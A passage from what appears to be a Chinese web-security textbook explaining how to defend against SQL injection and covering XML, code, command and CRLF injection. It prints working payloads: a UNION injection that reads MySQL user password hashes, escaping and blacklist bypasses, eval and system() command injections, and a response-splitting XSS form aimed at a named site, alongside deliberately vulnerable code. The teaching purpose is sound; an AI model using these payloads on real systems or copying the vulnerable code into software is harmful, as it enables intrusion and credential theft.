但这个漏洞并未造成严重的后果,因为攻击者在此只能修改管理员的密码,而新密码仍然会发送到管理员的邮箱。尽管如此,我们并不能忽视“SQLColumn Truncation”的危害,因为也许下一次漏洞被利用时,就没有那么好的运气了。

正确地防御SQL注入

本章中分析了很多注入攻击的技巧,从防御的角度来看,要做的事情有两件:

(1)找到所有的SQL注入漏洞;

(2)修补这些漏洞。

解决好这两个问题,就能有效地防御SQL注入攻击。

SQL注入的防御并不是一件简单的事情,开发者常常会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下代码:

1 2 3 4 5
$sql = "SELECT id,name,mail,cv,blog,twitter FROM register WHERE id=".mysql_real_escape_string($_GET['id']);

当攻击者构造的注入代码如下时:

1 2 3 4 5 6 7 8 9
http://vuln.example.com/user.php? id=12,AND,1=0,union,select,1,concat(user,0x3a ,passwo rd),3,4,5,6,from,mysql.user,where,user=substr ing_index(current_user(),char(64),1)

将绕过mysql_real_escape_string的作用注入成功。这条语句执行的结果如下。

因为mysql_real_escape_string()仅仅会转义:

 1  2  3  4  5  6  7  8  9 10 11
’ “ \r \n NULL Control-Z

这几个字符,在本例中SQL注入所使用的Payload完全没有用到这几个字符。

那是不是再增加一些过滤字符,就可以了呢?比如处理包括“空格”、“括号”在内的一些特殊字符,以及一些SQL保留字,比如SELECT、INSERT等。

其实这种基于黑名单的方法,都或多或少地存在一些问题,我们看看下面的案例。

注入时不需要使用空格的例子:

1 2 3
SELECT/**/passwd/**/from/**/user SELECT(passwd)from(user)

不需要括号、引号的例子,其中0x61646D696E是字符串admin的十六进制编码:

1 2 3
SELECT passwd from users where user=0x61646D69

而在SQL保留字中,像“HAVING”、“OR-DER BY”等都可能出现在自然语言中,用户提交的正常数据可能也会有这些单词,从而造成误杀,因此不能轻易过滤。

那么到底该如何正确地防御SQL注入呢?

使用预编译语句

一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。比如在Java中使用预编译的SQL语句:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
String custname = request.getParameter("customerName"); // This should REALLY be validated too // perform input validation to detect attacks String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );

使用预编译的SQL语句,SQL语句的语义不会发生改变。在SQL语句中,变量用?表示,攻击者无法改变SQL的结构,在上面的例子中,即使攻击者插入类似于tom' or '1'='1的字符串,也只会将此字符串当做username来查询。

下面是在PHP中绑定变量的示例。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)"; $stmt = $mysqli->prepare($query); $stmt->bind_param("sss", $val1, $val2, $val3); $val1 = 'Stuttgart'; $val2 = 'DEU'; $val3 = 'Baden-Wuerttemberg'; /* Execute the statement */ $stmt->execute();

在不同的语言中,都有着使用预编译语句的方法。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
Java EE – use PreparedStatement() with bind variables .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables PHP – use PDO with strongly typed parameterized queries (using bindParam()) Hibernate - use createQuery() with bind variables (called named parameters in Hibernate) SQLite - use sqlite3_prepare() to create a statement object

使用存储过程

除了使用预编译语句外,我们还可以使用安全的存储过程对抗SQL注入。使用存储过程的效果和使用预编语句译类似,其区别就是存储过程需要先将SQL语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。

下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance是预先在数据库中定义好的存储过程。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
String custname = request.getParameter("customerName"); // This should REALLY be validated try { CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // … result set handling } catch (SQLException se) { // … logging and error handling }

但是有的时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。

检查数据类型

检查输入数据的数据类型,在很大程度上可以对抗SQL注入。

比如下面这段代码,就限制了输入数据的类型只能为integer,在这种情况下,也是无法注入成功的。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
<?php settype($offset, 'integer'); $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;"; // please note %d in the format string, using %s would be meaningless $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset); ?>

其他的数据格式或类型检查也是有益的。比如用户在输入邮箱时,必须严格按照邮箱的格式;输入时间、日期时,必须严格按照时间、日期的格式,等等,都能避免用户数据造成破坏。但数据类型检查并非万能,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范SQL注入。

使用安全函数

一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。但前文曾举了一些编码函数被绕过的例子,因此我们需要一个足够安全的编码函数。幸运的是,数据库厂商往往都对此做出了“指导”。

比如在MySQL中,需要按照以下思路编码字符:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
NUL (0x00) --> \0 [This is a zero, not the letter O] BS (0x08) --> \b TAB (0x09) --> \t LF (0x0a) --> \n CR (0x0d) --> \r SUB (0x1a) --> \z " (0x22) --> \" % (0x25) --> \% ' (0x27) --> \' \ (0x5c) --> \\ _ (0x5f) --> \_ all other non-alphanumeric characters with ASCII values less than 256 --> \c where 'c' is the original non-alphanumeric character.

同时,可以参考OWASP ESAPI中的实现。这个函数由安全专家编写,更值得信赖。

1 2 3
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

在使用时:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
Codec ORACLE_CODEC = new OracleCodec(); String query = "SELECT user_id FROM user_data WHERE user_name = '" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC , req.getParameter("userID")) + "' and user_password = '" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC , req.getParameter("pwd")) +"'";

在最后,从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

其他注入攻击

除了SQL注入外,在Web安全领域还有其他的注入攻击,这些注入攻击都有相同的特点,就是应用违背了“数据与代码分离”原则。

XML注入

XML是一种常用的标记语言,通过标签对数据进行结构化表示。XML与HTML都是SGML(Standard Generalized Markup Language,标准通用标记语言)。

XML与HTML一样,也存在注入攻击,甚至在注入的方法上也非常相似。如下例,这段代码将生成一个XML文件。

1 2 3
final String GUESTROLE = "guest_role"; ...

//userdata是准备保存的XML数据,接收了name和

email两个用户提交来的数据

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
String userdata = "<USER role="+ GUESTROLE+ "><name>"+ request.getParameter("name")+ "</name><email>"+ request.getParameter("email")+ "</email></USER>"; //保存XML数据 userDao.save(userdata);

但是如果用户构造了恶意输入数据,就有可能形成注入攻击。比如用户输入的数据如下:

1 2 3 4 5
user1@a.com</email></USER><USER role="admin_role"><name>test</ name><email>user2@a.com

最终生成的XML文件里被插入一条数据:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
<?xml version="1.0" encoding="UTF-8"?> <USER role="guest_role"> <name>user1 </name> <email>user1@a.com</email> </USER> <USER role="admin_role"> <name>test</name> <email>user2@a.com </email> </USER>

XML注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据。在修补方案上,与HTML注入的修补方案也是类似的,对用户输入数据中包含的“语言本身的保留字符”进行转义即可,如下所示:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
static { // populate entitites entityToCharacterMap = new HashTrie<Character>(); entityToCharacterMap.put("lt", '<'); entityToCharacterMap.put("gt", '>'); entityToCharacterMap.put("amp", '&'); entityToCharacterMap.put("apos", '\''); entityToCharacterMap.put("quot", '"'); }

代码注入

代码注入比较特别一点。代码注入与命令注入往往都是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()。如下例:

1 2 3 4 5
$myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

攻击者可以通过如下Payload实施代码注入:

1
/index.php?arg=1; phpinfo()

存在代码注入漏洞的地方,与“后门”没有区别。

在Java中也可以实施代码注入,比如利用Java的脚本引擎。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import javax.script.*; public class Example1 { public static void main(String[] args) { try { ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("JavaScript"); System.out.println(args[0]); engine.eval("print('"+ args[0] + "')"); } catch(Exception e) { e.printStackTrace(); } } }

攻击者可以提交如下数据:

1 2 3 4 5 6 7
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //

此外,JSP的动态include也能导致代码注入。严格来说,PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码注入。

1 2 3 4 5
<% String pageToInclude = getDataFromUntrustedSource(); %> <jsp:include page="<%=pageToInclude %>" />

代码注入多见于脚本语言,有时候代码注入可以造成命令注入(Command Injection)。比如:

1 2 3 4 5 6 7 8 9
<?php $varerror = system('cat '.$_GET['pageid'], $valoretorno); echo $varerror; ?>

就是一个典型的命令注入,攻击者可以利用system()函数执行他想要的系统命令。

1
vulnerable.php?pageid=loquesea;ls

下面是C语言中的一个命令注入例子。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
#include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { char cat[] = "cat "; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0); }

system()函数在执行时,缺乏必要的安全检查,攻击者可以由此注入额外的命令。正常执行时:

1 2 3
$ ./catWrapper Story.txt When last we left our heroes...

注入命令时:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
$ ./catWrapper "Story.txt; ls" When last we left our heroes... Story.txt doubFree.c nullpointer.c unstosig.c www* a.out* format.c strlen.c useFree* catWrapper* misnull.c strlength.c useFree.c commandinjection.c nodefault.c trunc.c writeWhatWhere.c

对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在PHP/JSP中避免动态include远程文件,或者安全地处理它。

代码注入往往是由于不安全的编程习惯所造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。这些危险函数一般在开发语言的官方文档中可以找到一些建议。

CRLF注入

CRLF实际上是两个字符:CR是Carriage Re-turn(ASCII 13, \r),LF是Line Feed(ASCII 10,\n)。\r\n这两个字符是用于表示换行的,其十六进制编码分别为0x0d、0x0a。

CRLF常被用做不同语义之间的分隔符。因此通过“注入CRLF字符”,就有可能改变原有的语义。

比如,在日志文件中,通过CRLF有可能构造出一条新的日志。下面这段代码,将登录失败的用户名写入日志文件中。

1 2 3 4 5 6 7 8 9
def log_failed_login(username) log = open("access.log", 'a') log.write("User login failed for: %s\n" % username) log.close()

在正常情况下,会记录下如下日志:

1 2 3
User login failed for: guest User login failed for: admin

但是由于没有处理换行符“\r\n”,因此当攻击者输入如下数据时,就可能插入一条额外的日志记录。

1
guest\nUser login succeeded for: admin

日志文件因为换行符“\n”的存在,会变为:

1 2 3
User login failed for: guest User login succeeded for: admin

第二条记录是伪造的,admin用户并不曾登录失败。

CRLF注入并非仅能用于log注入,凡是使用CRLF作为分隔符的地方都可能存在这种注入,比如“注入HTTP头”。

在HTTP协议中,HTTP头是通过“\r\n”来分隔的。因此如果服务器端没有过滤“\r\n”,而又把用户输入的数据放在HTTP头中,则有可能导致安全隐患。这种在HTTP头中的CRLF注入,又可以称为“Http Response Splitting”。

下面这个例子就是通过CRLF注入完成了一次XSS攻击。在参数中插入CRLF字符:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<form id="x" action="http://login.xiaonei.com/Login.do? email=a%0d%0a%0d%0a<script>alert(/XSS/);</s cript>" method="post"> <!-- input name="email" value="" / --> <input name="password" value="testtest" / > <input name="origURL" value="http%3A%2F %2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> <input name="formName" value="" /> <input name="method" value="" /> <input type="submit" value="%E7%99%BB %E5%BD%95" /> </form>

提交后完成了一次POST请求,抓包可以看到整个过程:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
POST http://login.xiaonei.com/Login.do?email=a%0d %0a%0d%0a<script>alert(/XSS/);</script> H TTP/1.1 Accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shockwave-flash, application/ vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x- silverlight, */* Referer: http://www.a.com/test.html Accept-Language: zh-cn Content-Type: application/x-www-form- urlencoded UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) Proxy-Connection: Keep-Alive Content-Length: 103 Host: login.xiaonei.com Pragma: no-cache Cookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.122933 6555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(refer ral)|utmcsr=a.com|utmcct=/test.html|utmc md=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_5418907 16; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000 ; _de=a; BIGipServerpool_profile=2462586378.20480.0000 password=testtest&origURL=http%253A%252F %252Fwww.xiaonei.com%252FSysHome.do%250d%250a &formName=&method=

服务器返回:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
HTTP/1.1 200 OK Server: Resin/3.0.21 Vary: Accept-Encoding Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Set-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01- Dec-1994 16:00:00 GMT Set-Cookie: _de=a <script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10- Dec-2009 13:35:17 GMT Set-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01- Dec-1994 16:00:00 GMT Content-Type: text/html;charset=UTF-8 Connection: close Transfer-Encoding: chunked Date: Mon, 15 Dec 2008 13:35:17 GMT 217b <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1- transitional.dtd"> <html > <head> ......

注意到服务器返回时,在Set-Cookie的值里插入了两次“\r\n”换行符。而两次“\r\n”意味着HTTP头的结束,在两次CRLF之后跟着的是HTTP Body。攻击者在两次CRLF之后构造了恶意的HTML脚本,从而得以执行,XSS攻击成功。

CRLF注入HTTP头导致的XSS

Cookie是最容易被用户控制的地方,应用经常会将一些用户信息写入Cookie中,从而被用户控制。

但是HTTP Response Splitting并非只能通过两次CRLF注入到HTTP Body,有时候注入一个HTTP头,也会带来安全问题。

比如注入一个Link头,在新版本的浏览器上将造成XSS:

1 2 3
Link: <http://www.a.com/xss.css>; REL:stylesheet

而注入:

1
X-XSS-Protection: 0

则可以关闭IE 8的XSS Filter功能。可以说HTTP Response Splitting的危害甚至比XSS还要大,因为它破坏了HTTP协议的完整性。

对抗CRLF的方法非常简单,只需要处理好“\r”、“\n”这两个保留字符即可,尤其是那些使用“换行符”作为分隔符的应用。

小结

注入攻击是应用违背了“数据与代码分离原则”导致的结果。它有两个条件:一是用户能够控制数据的输入;二是代码拼凑了用户输入的数据,把数据当做代码执行了。

在对抗注入攻击时,只需要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。

SQL注入是Web安全中的一个重要领域,本章分析了很多SQL注入的技巧与防御方案。除了SQL注入外,本章还介绍了一些其他的常见注入攻击。

理论上,通过设计和实施合理的安全解决方案,注入攻击是可以彻底杜绝的。

浙ICP备11005866号-12